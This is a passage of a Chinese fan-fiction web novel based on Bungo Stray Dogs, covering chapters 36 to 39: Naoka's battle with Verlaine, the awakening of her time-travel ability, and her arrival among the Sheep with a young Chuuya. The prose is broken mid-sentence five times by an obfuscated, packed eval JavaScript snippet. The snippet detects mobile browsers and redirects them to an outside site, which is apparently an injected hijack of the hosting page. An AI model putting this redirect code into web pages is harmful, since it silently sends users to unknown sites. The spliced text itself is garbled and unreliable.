而对方身体中的能量又过于庞大和爆裂,虽然现在她催生肢体和系统控制所运作的能量都是从他的身上汲取而来,但更进一步的同化,大幅度吸收他体内的能量反而会先摧毁她本身。 就算用刀对他进行斩击,偷袭对方的话,似乎也会被重力所消解……等等……! 沉在系统运算中的永末突然有了一个全新的想法。 成功的话……说不定真的可以成功杀死他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003794|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【不管怎么说,先通知中也身边的亚当吧,如果他是为了中也而来的话……】永末想道,分出一道意识发送了这个消息,【接下来就让我试试看……到底能做到什么地步吧。】 思绪的闪念在现实中只是几十毫秒,魏尔伦还没说出下一句话,做出下一个动作,一切骤变。 被重力包裹的头颅眨了下眼睛,像西瓜一样裂开,而从应该是颈部的地方伸出一只拿着碎骨的手直刺他的眼睛;倒下的无头身体径自起身,仿佛身上并未被拆出那么残酷的骨花,好像都市传说那样挥刀而来;围堵他的血泊凝出数道干涸的人手,各自以难以分辨的速度从挥刀而来之人身上拔出折断的骨头,齐齐朝他斩杀而来。 电光火石间,围杀之势已然成形。 “太慢了。”魏尔伦面不改色地说道,甚至微微松了一口气。 逼近到极限的刀锋已经抵住他的脖颈、眼睛、心口,仿佛只在怪谈中才能出现的怪物们举着刀,却纷纷不能再进一步了。 无形的重力化作锁链,把她们的形体压制得一动也不能动,随即,最脆弱的血手先一步被挤压地溃散成一地碎片。 “就只是这样……呃。”魏尔伦的表情突然扭曲了。 原本悠闲自如的他,不由自主地握紧了心口处的西服,接近死亡的麻痹感从那个地方传来,仿佛有什么堵住了血管,又仿佛有什么东西要穿破肉/体束缚从里边出来,“啊……” 【能不能从他的身体里头,长出一个她呢?……既然已经有一滴血躲进他的身体里头了。】 那时的永末这么想道。 【那得找点别的吸引住他的注意力,在他无力回天之前,不要被发现了啊。】 她随后完善了这个想法。 【我要,撕开他。】 “啊啊……哈哈哈哈哈哈哈哈哈哈哈哈。” 她心无杂念地聚集,同化,成形,极近处的痛吟却转变成了狂气的大笑。 转瞬之间,胜负逆转。 “真是精彩,但是,到此为止了。” 36.第36章 冥冥之中,仿佛有一道无形的波动以魏尔伦为核心荡开一圈。 这份波动看不见,但效果立竿见影。 实验室,裂开了。 以国家的力量建立的实验室,如同蚁穴一般在地下构筑成宛如地狱十八层那么繁杂的结构,即使废弃了多年,依旧保留有旧日巍峨的容貌,让人以为永远都会深藏于地下。 但在今日,仅仅是一秒内,“那个东西”一出现,这一整层的结构就从中线开始均匀地铺开蛛网般的缝隙,好像被抽走最底下的那根积木的乐高堆一样,顷刻间濒临瓦解。 “那个东西”,在魏尔伦的身侧,听凭他的意志所出现的“那个东西”。 是一枚黑色的重力球。 它还没有波子汽水里头的弹珠那么大,宛如一枚小小的黑洞,正疯狂地吞噬着周围的一切。 ……残破的头颅、无首的尸体、断裂的刀刃、凝固的未凝固的血液,乃至地上的水泥板、边缘的承重柱,所有的存在都无法对抗这份重力,被黑洞所陆续吞吃。 被卷入的物质,都好像被投入了真正的地狱十八层,嚼碎消抹,连回音也不会传回来。 连永末尚夏自己,也无法再联系上那些被重力吞下的部分。 她甚至无法分辨,那些“自己”到底是被重力所彻底地撕扯毁灭了,还是永远沉沦于黑洞的内侧,被超越时间的重力固定住,变成了完美的标本收藏。 但永末也没有心力再多想了,最后的自我意识,藏匿于魏尔伦身体中的那滴血液,现在也不能免疫来自黑洞的吸引,正在被同一份重力所撕扯着,从他的身体里头被强行分离。 没能同化的她,对重力来说,属于偷渡进去的租客。 仿佛像是什么大型的驱邪现场一样,重新直起身的魏尔伦身上,被重力拉出了一道逐渐成型的影子。 那是之前被他所杀了数遍的少女、也是用各种手段试图把他拉入死亡的境地,兵败垂成的敌人,即使在这个时刻她依然保持冷静的表情,死死拉住他的袖子,徒劳地想逃出重力的审判。 被重力捕获,无所遁形的永末来说,她不得不变回最熟悉最能掌控的姿态,做出最后一波挣扎。 输掉,就会死。 又是这样的境地,但永末已经想不到还能从哪里博取一线生机了。 魏尔伦没有想加速夺取这份必然胜利的意思,余裕地在最后袖手旁观,放任她做出注定不会成功的努力,似乎就准备这么看着她被重力拖着拉进死亡终点。 就在这个双方角力的时刻,角落的黑暗中,传来了第三人的脚步声。 明明在这样恐怖的重力风暴中,不应该有任何其他人出现的。 但这个人不受重力异能力的操控,只是挑剔地这些支离破碎的落脚碎片,从这个摇摇欲坠的楼层深处,做出了“走出”的动作,仿佛一个从幕后登台,预备着谢幕致辞的主持人。 或者说,他本来就一直在这里。 从一开始就在。 “我还以为你不打算把真相在她面前显露出来的。太宰。”魏尔伦并不意外地转过脸去,在被重力撕扯得宛如风暴中心的现场说道,“在死亡之前保留背叛的真相……和让她带着这份真相去死,没想到你是会选择后者的人。” 并非敌对者的谎言,那个用慢吞吞的步调、带着什么都无所谓的空泛表情出现的少年,确实长着她一天前刚刚作别的恋人,太宰的脸。 未曾关闭的系统面板上,攻略目标的红点彻底与她所重合。 ……太宰治。 似乎抛开了所有的乔饰和伪装,太宰以沉默的、目击无趣之物的目光,注视着刚刚完全展开了怪物真面貌的她,并没有回应魏尔伦的这份调侃。 ……为什么是相熟的语调?为什么他们……好像是一伙的? ……为什么在之前避而不见,为什么又在现在暴露自我? ……为什么说到了真相和背叛?他在今日的这些接连不断的事故里头,又扮演了什么角色? 但有一点永末很清楚,如果太宰不乐意,她不会在现在落幕……不,应该说,她压根不会出现在眼前这个场合里头。 怪不得,怪不得之前一直避而不见。因为,在她无力回天之前,他不能被发现啊。 永末的眼神有点失焦,但很快大量的能量散失又迫使她清醒地重新看清这张近在咫尺的,万分熟悉的脸,直面这份现实。 也许是因为她此刻比起自身,更接近AI的无感情状态,又也许是她本身的人格已经在失忆中无法正确地承载感情,又或者是,现在生死已经压迫了处理感情的脑容量……永末意外地感觉自己心情还行,并没有什么落空的失落感,也没有哪里碎裂开的疼痛感觉。 她反倒是觉得太宰现在的反应有点奇怪。 这个时候不应该妙语连珠地说点什么,揭开背后的故事,让她死得明白吗?或者像是过往无数次那样,说一点玩笑话,哪怕是虚言哄骗不是也很正常吗? 是她期许着他说出假话,但事到如今他的出现已经本身作为了一种解答。 他要么是现状的知情者,要么是……幕后黑手。 他只是攻略对象,从来不是真的恋人。 系统被她曾经的命令限制,现在寂然无声,一些曾经她并没有细想的过往,现在换了一副面貌出现在记忆里边。 永末没有细想那些东西,她不能理解,但现在也不必理解。 她略过那些过于软弱的问题,只问出了自己最不能理解的那个,“……你想要什么,是必须我、变成这样,才能得到的……?” 太宰无光的瞳孔看着她,在这个问题被问出时,反光似的波动了一下,显出某种血液流淌般的色泽。 他的眼中映出了……死死攀缘着彼岸,被重力所压迫着的小夏小姐。 血从黑洞的方向涌出,浸润了衣服和羽织,一头长发和羽织都被拉出笔直的弧线,她已经脱离了正常人类的范畴,好像悬垂在蜘蛛丝上的亡灵……但她看向他的眼神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017840|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧有几分泛泛的熟悉,平静越如刀锋,直指本质的核心。 他也有种奇妙的,隔岸观火,隔着书本阅读戏剧的感觉,轻微的,哪里碎裂开的微弱疼痛感,让太宰没什么力气地笑了一下。 “之前说过,我会自己来看清小夏小姐的谜底……你的能力,能做到哪种程度呢?”太宰温和但残酷地说道,“如果只是现在这个地步,那就是‘不过如此’了。” 他说出了仿佛评估工具的言辞。但就在他的旁边的游戏界面上,永末依然可以看到他现在的好感度,没有往下掉落。 依旧保持在50+的高位,甚至还在一点一点地往上蹿。 【当前好感度:53】 【当前好感度:57】 “又或者说……”太宰突然异常清新地笑了一下,“我是来‘收账’的。” 原本的玩笑露出来其下深沉黑暗的核心。 霎时的灵光照彻了她的脑海,为什么会落进这样的战场……因为太宰想完全了解她的异能力,需要把她放进最危险的、如果不想死去就必须要显露出这份能力的场合。 但是时装的体质过于强大,要制造出物理意义上,完全摧毁这份肉.体能力的场合实在是太过艰难了。 但是很巧,被推动到极限的重力,凝成黑洞的引力极限可以。 有什么能逃离黑洞呢?即使再强大的恢复力,面对黑洞这种级别的碾压,也必输无疑。 而魏尔伦也不过是他为她挑选的磨刀石。 太宰没有说出口的话语,永末已经理解了。 展示给我看,小夏小姐,展示给我看你能翻转棋盘的那份能力。 没有到我想要的标准……那小夏小姐就是,可以舍弃的东西了。 【当前好感度:61】 永末唯独不能理解的,是他为什么要从幕后来到台前……明明不被她发现真相,跟他之前做的那样,一直躲避她的注视,到事件彻底落幕。那就算她之后真的找到绝地翻盘的办法,结束后也不会有什么后遗症,还能继续这场假装恋人的游戏。 为什么、不继续伪装下去呢? ……而且,这份超越了“朋友”界限的好感度,又是什么意思呢? 但现在,她已经到对抗重力的极限了……西服的布料顺滑而脆弱,在不知道是几毫秒的脱力影响下,那条维系的蜘蛛丝,断裂了。 无尽的引力拉扯着她最后的意识坠向黑洞,被吞噬的速度甚至超越了痛觉的蔓延,又或者她其实有无尽的时间可以去思考这个得不到解答的问题。 铺开的黑暗笼罩住视野,魏尔伦和太宰都在她的眼前一一消失,永末好像漂浮在什么都不存在的,孤独的虚空中,唯一依旧存在的,是她眼前还没有收起的系统面板。 永末也就在这个时候突然发现,太宰是对的。 系统的面板中,她一直处于灰色不可用的异能力,现在居然是亮起的。 她的异能力,真的在这个生死关头,对她揭开了面纱。 37.第37章 有什么能从黑洞中逃逸呢……连光也做不到的事情,就没有别的存在可以做到了吧。 依照物理学上的定义,是这样的。 但超越常理的事情正在魏尔伦和太宰的跟前发生着,银蓝色的一道辉光,正在从漆黑的球体深处往外溢散出来。 或者说,无数类似极远处的群星汇成的银河,从黑洞的中心,仿佛把那一点撑破了一样,晕开出复杂的光晕。 而那被操纵的人造噩梦,那枚小小的黑洞,居然就此消失了,像是从来没有存在过那样。 整个地下建筑好像被老鼠拖回洞中的奶酪,往下看去已经可以透过漏风的墙板看得到每一层的具体结构。 但它的崩毁……停止了。 “……特异点吗?” ……互相悖论的异能力,抵消掉了肆虐的重力,才能诞生眼前的奇迹? “不,不是……是,被逆转了。”太宰不知道是早有预料,还是真的从未想过,轻声回答道。 仿佛从虚空中被抽离出来那样……或者,更确切的形容应该如太宰所言,包围着这份形体的时空如同倒流一般逆流回溯。 “永末尚夏”,这具外观形貌只是寻常少女的肉身,从“被压缩成黑洞的一部分”开始恢复,变成了即将被吞噬前的最后一刻的样子。 被时间所钟爱的少女,这才是她的真实。 太宰目不转睛地看着眼前,由一个小黑洞开始的,宛如宇宙诞生、或者世界毁灭时才会出现的……无数星辰喷发而出,又互相螺旋变成复杂结构……最后变成一个活人的壮观场面,没有自知地露出了今天以来的第一个真心的笑容。 “小夏小姐的异能力,原来是这样的啊……” “就算……”魏尔伦的话语被眼前的二度变化打断了。 就算如此,他也可以无数次再度用黑洞掉吞噬眼前的少女。 他本想说出这样的话,但就在少女尚未恢复意识之际,她已经如同刚刚出现那样,突兀地消失了。 “……”没有什么人能逃过超越者的耳目,在魏尔伦所能感知的范围中,少女是确实不存在了。 ……也是,掌握时间权柄的人,怎么会被真的困住呢。 魏尔伦没有继续往下说。 微妙且短暂的沉默,一如这座岌岌可危的地下建筑,构筑在两者之间。 现在,这里只剩下他们两人了。 “情报……并不准确呢。”魏尔伦率先开了口。 他蹲下身做出捡拾的动作,但事实是他轻触地面的时候,重力已经代替他,让那枚之前斩下少女头颅的硬币回归了他的手中。 遭遇过之前那种强度的大战,这枚硬币是因为抛出之后,卡在几十米开外的另一栋墙体之中才躲过了一劫,原本已经变成扁扁的一条金属块,此刻又在重力的作用下,被强行重新捋回原样。 “嗯,是这样。”太宰仿佛没有察觉到近在咫尺的,超越者的杀意一样,置若罔闻地回答道。 “你之前说,愿意用情报换取你的性命再多活几天……现在情报不准的话,又该用什么交换呢?”魏尔伦温和地出声。 太宰默不作声地盯着他,似乎并不为自己的性命悬心,之前银河倒悬映在他眼中的那点亮光,现在已经完全看不见了。 魏尔伦说出最后一个问题,“……你也可以长出一颗新的头颅吗?太宰。” 超越者弹飞了手中的硬币。 “轰……”什么击中了太宰。 硬币带起的气浪笔直地削平了三面墙。 …… “傻o青花鱼!你呆呆地站在那边做什么?”赶在太宰被一币两段之前率先击飞他的家伙大骂道,“都不知道躲的吗?” 太宰被一拳擂中,横飞出去两米撞在墙角,差点把胃里的内容物吐出来,他吃力地蜷起一团,从满地的砖瓦碎屑中勉强爬起来,皱起眉头擦了擦脸上的血,对来人竖起中指。 “……你故意打我胃的吧!蛞蝓。” 确实公报私仇了的中原中也没回嘴,“废话少说!你一定有你的计划……快点告……啊。” 刚刚他突袭时,顺带手把一块纯钢铁实验器材抡在超越者身上,中也扭过头去,看到烟尘里头那个可怕的身影又站了起来。 “一切仍在计划中……我确实有计划,不过,得看你能不能做到了。” 在其他世界不知道用多少种办法战胜过超越者,偶尔有输过,更多时候都是赢的太宰半死不活地说道。 已经没用的棋子,可以陆续撤离棋盘了。 中原中也稍稍一默……其实原本刚刚解完毒的他,是不应该立即加入战场的,收到永末最后消息的亚当最开始也没有要告知他的意思。 但是……“她知道我不希望再看到她的不告而别……所以每次都离开都会特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034804|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意跟我打过招呼……”醒来的中原中也听到亚当的话,沉默了几秒说道,“我相信她没有说出口的承诺……所以,到底发生了什么?” “……”仿生机器人的电子脑回路正在高速运转,并不清楚此刻自己的沉默已经说明了问题。 中原中也暗暗握紧了拳头。 但在几秒的沉吟后,亚当居然选择了合盘托出。 “本来不应该告诉中也大人的,因为中也大人会做出不合理的选择……但是,总感觉,本机不能理解,为什么会觉得……中也大人现在做出的选择,才是有道理的那一个。” “永末小姐遭遇了魏尔伦,现在正在……” 不用继续说下去了,中也倏然抬头,黑洞已经撕开了整个地下! ……所以他才能在此刻,恰到好处地加入了战局。 啧,为什么还是感觉被这条青花鱼算计了! “我当然没有问题!”中也烦躁地按响指节,他还没忘记一开始的目的,在迎战之前,抛下最后一个问题,“太宰……尚夏在哪里?” 太宰微微一窒,随即微笑道,“啊,她在……” * 她在群星之间。 最初只是无垠的黑暗,一点一点,随着她的异能力自然生效,永末的视野缓慢铺开,无数微弱光点开始闪烁。 永末低下头,看到了无数个光点在她下方点亮,这是正在发生、即将发生的、已经发生的本世界的一切。 这个世界的整条时间海,现在如同游戏的登录点一样等待她的接入。 她往四周看去,看到了笼罩这个世界的,仿佛对着烛火镜面交叠着观测,分裂出的亿万个光点,甚至她所在的世界也不过是其中一道普通得不能再普通的一个光源,找不到源头,也看不见后来者。 这是跟这个世界相连的无尽平行世界。 最后她仰起脸,往远处看去,超脱这个世界之外,有无穷无尽的光晕,恒河之沙一般地闪着光。 那是……无数个崭新世界的坐标。 永末尚夏在某种恢宏的恐惧中领悟了。 这就是无足之鸟,她的异能力。 【你是无尽时空中不会被拒绝的小鸟,你将在这永无止境的螺旋迷宫中盘旋,一圈一圈,没有终点,没有来处。】 通俗易懂来说,就是穿越。 …… 问题也正在此处。 38.第38章 最大的问题是,永末找不到穿越的方向。 之前泾渭分明的光点在她的视野飘高后,已经变成了遥远的一条光带,她甚至感觉另一条光带比那条更像她的来处……每个点都仿佛是有来时世界的影子,每个点又仿佛都是全新的世界……点构成光带,光带构成螺旋,螺旋又是一个新的点。 又 无穷无尽的迷宫,由此循环往复,而身处期间的飞鸟,已经被迷宫这只鸟笼困住了。 ……怎么回去,哪里是她刚刚落脚的世界? 这个问题刚刚萌发在永末心里,她就本能地回避了这个念头,仿佛她已经思考过无数回,以至于想起这个问题,就会勾起连失忆也无法消磨掉的糟糕情绪。 我大概曾经丢失过很多故事,也有很多无法回顾的故乡吧……那些存在于过去的人和事,都会在这个能力发动的时候,变成永远找不回去的地方。 她隐隐约约地理解了这一点,又在情绪上浮之前,习以为常地把心思落在最重要的事情上。 【系统……你有原来世界的定位吗?】永末打开了游戏面板,同时在心里头问道。 【坏、坏掉了。世界坐标的收集器和穿梭功能都……】系统发出心虚的声音。 它之前在攻略对象突然出没时被强制下线了,但此刻听到玩家的呼唤,又像永远都存在的影子那样一下冒了出来。 永末听到它的声音,居然感觉有几分安心。 【但是夏夏说过、我可以做你的锚点!……所以夏夏一定有别的办法使用我的吧!】系统一如既往的可可爱爱,没有脑袋。 “……”永末凝神看着面板,沉吟了几毫秒。 在这个状态下,她感觉自己正在缓慢地逸散着,好像是一颗燃烧的恒星,只是燃料是她的“自我”。 好在她没有太久就发现了结论。 永末调出标识攻略对象的地图,把半透明面板移动到眼睛正前方。 仿佛透过一道眼镜一般看出去,有许多已经离散很远的光点被染成了红色,在星空中仿佛一道虚幻的红线……那是只属于她的攻略对象的,那个太宰治,所存在的世界线,和他存在的所有时间线。 “……原来,如此。”她终于完全理解了自己为什么会参与这个攻略游戏,为什么要选择一个攻略目标,她只是在用攻略目标当作回去的道标。 她甚至隐约也理解了太宰的目的,如果他比她更先一步知道她的能力,那么…… 但永末没有继续深想下去,找寻到距离最近的红点进行登录。 * 【加载完毕!欢迎回到“DokiDoki”恋爱攻略游戏,攻略副本“文豪野犬”登录成功! 您已离开游戏0.23秒,距离上次登录时间间隔为……负三年零十一个月。】 永末从一片虚无中缓缓回神,耳边就是系统尽职尽责的播报。 背景音则是夏日特有的,喧闹的蝉鸣声,还有窸窸窣窣行人走动的声音,她并不知道自己被刷新在了哪里……但比起上一次在河岸边突然的登录,这次似乎有延迟一样,她有点难以操纵自己的身体,只能像滩烂泥一样倒在路边。 “负……”永末努力张开嘴,还没来得及说话,就有血从鼻腔里边往外涌出来,她感觉两眼一黑,一股子剧痛猛地袭来,差点没再晕过去。 ……好像,明白了。 异能力复原了她被卷入黑洞最后一秒的肉身,但不幸的是,当时永末已经被黑洞拖着碾压了一遍,现在的情况堪比在马路上惨遭重卡,只能说初具人形吧。 “你先别说话了!”一个熟悉的、但比前原先更像小孩子的声音严厉地说道。 永末缓了半秒钟,微微侧过头……假设她的脖子其实没断掉的话,想看清这个人的脸。 四周的景色正在高速移动着,她正被人裹挟着离开,但她没有感觉任何不适。 而热烈的,跟现在的气温一样温暖的橙色映入了她的眼帘。 比前一回见面的时年轻了好几岁,也矮了十几个厘米的中原中也看着她,表情有点惶恐和谨慎,似乎惊讶于她现在的样子,又可能是惊讶于她居然还没死。 搬动着她的,是重力。 “你怎么能搞成这样的,被车撞了吗……喂!”中原中也百忙中抽空看了一眼自己捡回来的这个人,发现她已经一声不吭地晕过去了,“……” …… “这个时候到哪里去找医生啊?!”男孩子变身期的鸭子叫再度唤回了永末的意识。 她虚弱地睁开眼睛,发现头顶已经有了一块铁皮和纸板粘合而成的屋顶,勉强遮蔽了直射而下的太阳。 而争吵的声音是从屋外头传来的。 从永末瘫着的角度,只能看到一个明晃晃的少白头在阳光底下头顶反着光,而他身上居然还穿着一套带绒的大衣,似乎完全不怕中暑。 少白头夸张地挥舞着手,整个人有种毛躁的炸毛感,“你从哪里捡回来这么一个破烂!这不是给组织添麻烦吗?看她那个满身都是血,一口气倒不上来就要死的样子!中也,半夜她死了你自己去埋。” “她还活着呢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058449|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说了,我会照顾好她的!只是要你们在我去找医生的时候,照看她一下。” 不知道是不是环境不同,中原中也的声音听起来似乎也被传染了那种躁动,他好像在压着怒气讲道理。 “那种又不是什么小伤,找到医生过来又有什么用?就算养好也是个废人了吧!”少白头振振有词,“而且我们下午还有别的安排呢,哪里有功夫去看这家伙!” “人还没死呢,总不能放受伤的孩子一个人在路边吧!我们羊的宗旨不就是未成年人互助组织吗,倒是你又带其他人想去哪里?……是不是又想去偷东西?!” “我知道!‘不要跟别的组织起冲突!’,我又不是傻子!”不知道算不算被一语中的,那个少白头的动作明显变形了,他反过来指责道,“喂中也!把那个家伙丟出去吧!说不定她是卷进别的组织的冲突力给人打的,收留她才是给羊找麻烦!” 中原中也明显更生气了,但在嘴皮子上他永远斗不过白濑,这倒不是他不能逻辑清楚地给他分析利弊,而是白濑这家伙根本不会听! 白濑不耐烦再争辩,大摇大摆地往外走去,跟几个少年一勾肩搭背,就不知道又往哪边溜,中原中也被单独抛下,又不能真的把垂死的陌生少女一个人丟房间里头,一脸不快地拉开门。 “你……怎么……?” 他稍微有点惊住了,之前昏迷不醒……而且哪里摸起来都软塌塌的,似乎没有一块完整的骨头的少女,现在居然已经自己坐了起来,靠着墙不知道听了多久。 在她满脸凝固的血污之下,也许是眼瞳的颜色过于浅了,少女有一双自带寒光的眼睛,她的眼神很沉,仿佛在他脸上寻找什么那样看着他,让人有点莫名的悚惧感。 “呃,白濑他就是嘴上说说,不会真的把你赶走的!”中原中也慌忙地解释道。 虽然连他自己也不信自己的话。 “……我知道。”出乎意料,少女二话不说地接受了他的解释,似乎并不在意自己可能的下场。 即使如此狼狈,明明刚刚从死亡线上挣扎回来,她依然显得气定神闲,甚至有点若有所思,“原来如此……” 接着,少女没有迟疑地直接说道,“我是永末尚夏,谢谢你救了我,我可以知道你的名字吧?” 中原中也有了一种,仿佛眼前的少女已经认识了他很久的奇怪感觉,但他也不是会特别去确认这一点的人,只是有点不适地皱了皱眉,“……中原中也。” “初次见面。请多指教。”少女用毫无起伏的声音说道,“中原中也。” 39.第39章 “救了你什么的,算不上吧……”中原中也在对话刚刚开始就不由得感觉到一阵古怪,这份古怪勾起了一些之前他没深想的疑点。 中原中也着重看了两眼少女之前应该已经断掉的脖颈……但现在那个部位活动自如地安装在她的肩膀和脑袋间……让人怀疑之前是不是自己感觉错了。 事实上他现在有几分觉得白濑的话也不无道理,但这份微妙的怀疑在看到少女身上被血染深一个色调的羽织时,还是顺滑地从脑子里边掉下去了。 ……总不能真的放着人不管。 “你醒了那就好办了……你还记得自己原先在哪里?怎么变成这样的……还有什么亲人朋友可以联系得上吗?” “呃,我不是在说想要丢掉你的意思……”中也说到一半,在永末毫无波动,宛如某种死物的眼睛里边,察觉到了刚刚话里的误会,“我的意思是……你的伤势需要更好的医疗条件,如果你有能帮上忙的人……” “没关系,不需要医生……我伤得不严重,养养就好了。” ……怎么看她的伤都不是养养就能好的程度吧! “至于能帮我的人……”少女说着沉默了一会,好像是在想要怎么回答,又莫名给了中原中也,她正在找词语想来形容他的感觉。 几秒后,少女中断了这种错觉,她收回了视线,平静地给出了答案。 “‘现在’能帮我的人……应该一个都没有。” 虽然听起来不像是假话,但……不管从哪里看,少女给人的感觉都很奇怪。 跟他所想的不一样,她可能不是需要帮助的弱者。 最奇怪的是,中原中也明明已经意识到了这一点,但在少女看着他的眼睛说出“可以让我留下来吗?”的时候,他还是选择了同意。 …… 中原中也在答应之后就开始后悔了,想到之后白濑知道会闹出来的动静,他更加感觉头疼。 特别是他也分不清这到底是对是错的时候。 但这次白濑没有机会回来找新成员的麻烦。他自己先一步遇到了意外,而等到他被捞出来的时候,少女已经恢复伤情,顺利地被羊群接纳了。 当时中原中也正在翻箱倒柜找基地里头留存的药品,一个慌慌张张的女孩没敲门就闯了进来,她像西行四人组里边的沙僧那样叫道: “中也不好了!白濑他们被条子抓了!” “……他又做了什么招惹了警察!?都说了不要去做那些事……!”中原中也感觉一阵熟悉的崩溃。 “不知道哪个人报了警……!他们刚好就被抓住抢劫现场……拜托了中也,救救他们吧,你是羊的首领,说了要保护我们的……” 女孩子连声哀求,虽然着急,但神色里边也有几分有恃无恐。 中原中也长叹了一口气,不愿意在新成员跟前表露什么,拿起找到的止痛片往床板上一放,“永末!我先出去一趟,你好好呆着,我很快回来……” “知道了。” 两人的声音随着身影逐渐消失,被遗留下来的永末神色平静,毫无烟火气地删掉了发出去的那条报警短信。 …… 少女的伤情好起来的速度可以称得上是异常。 其他人并没有知道她的具体伤情,没办法做出判断,但中也并不是毫无察觉。 而且虽然被羊所接纳,但少女并没有跟其他同伴变得熟悉,反而很多时候都在被人排斥。她似乎本身全无所觉,或者说根本不在意,毕竟她很多时候都不在基地。 中原中也本来不应该去干涉新成员的行为的,甚至不应该关注到这一点,但因为一开始就遗留下来的古怪初印象,他不由得对新成员花费了更多的心神。 随着时间流逝,少女的古怪之处在他心里没有消失,反而愈演愈烈。 在加入羊的第一天,他就已经把蓝色丝带给了少女,那是为了证明是羊的成员,以防被其他人袭击,但他从来没有见到少女使用过。 “永末……你这些天都去了哪里?在做什么?”终于在那个夜晚,中原中也叫住了永末尚夏。 她回过头,看着中原中也,就算被堵在基地的大门前,似乎也并不着急。 每天都好像有自己的事情那样一刻不停地行动着,早出晚归,甚至半夜都会出门…… 这些天都在做什么?想要做什么? 你的行为……会危及组织吗? * 被熟悉的人用完全陌生的眼神看着,原来是这种感觉。永末想着,把这份小小的情绪在心里过了一道,一如既往地没有表现出来。 如果要永末来回答,她觉得自己没在做什么,最多是在做一些事前的准备。 比如说,之前信誓旦旦自己毁了他人生的N……她打算真的抽个时间践行一下他之前的发言。 毕竟已经知道了实验室的秘密地址,真的要做什么就只需要花费时间去谋划而已。 而时间的伟力不止于此,现在这个时间点,很多还应该是秘密的事情,对她来说已经如观指掌,一些尚未发生的事对她来说,对她来说也已经能直接能快进结局…… 不管是现在想要趁乱获得什么,还是日后想要收网,现在不开始行动布子,那不是太过浪费了吗? 所以这些天永末其实是真的很忙,忙得甚至都忽略了攻略对象……也说不定是她现在还没有想好,要怎么去面对那家伙。 “中也君……是在怀疑什么吗?”永末的目光游过已经熄灯的基地房间,并没有其他人埋伏的、堆着乱七八糟杂物的通道,重新落回眼前的少年脸上。 “不过就算是怀疑,也没打算跟踪我去搞明白……甚至也不打算在弄明白之前,告诉其他人……这一点还是很体贴的,中也君。”她夸赞道。 “……你在说什么啊?我也没有不信任你到这个程度吧!”中原中也一时没有绷住地大声起来。 似乎被他的呼声所惊动,从不远处的房间里边传来了谁的梦呓。 为了不吵醒睡梦里的其他人,中也往永末跟前走近了一点,近到她可以看清他现在有点纠结的表情,“大家都是同伴……我只是为了保证他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097704|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安全必须要弄清楚你在做什么……而且你的伤也没好多久吧!你……” “时间不等人啊。”永末微妙地出声打断,她说的确实也是实话,这段时间她总有种仿佛自己是个bug,随时可能被刷回正确时间线的预感。 “其实原本不想告诉中也君的,毕竟其实是想要给中也君一个惊喜什么的……我正在▇▇▇▇……” 她突兀地噤声了两秒。 刚刚说出口的话好像落进了某个看不见的深渊,在空气中被吞掉了,永末不着痕迹地把手背在身后,免得在长出来之前,被中也发现她连同话语一并被吞掉的肢体末端。 其实不算意外,“未来”的中也显然对于她的作为并不知情,她只是突发奇想地想要试试看……如果在“过往”就戳破“未来”之事,到底会发生什么。 ……看起来会被时间线直接排斥出去,刚刚差点整个人飞飞了。永末想到。 中原中也见她不再出声,刚刚露出迷惑的表情,永末就继续往下说,“我在为中也准备一份特别的礼物,毕竟中也之前救了我嘛……因为有很想送给中也的东西,但不能轻易地得到,所以这几天都是在努力积攒金钱。” 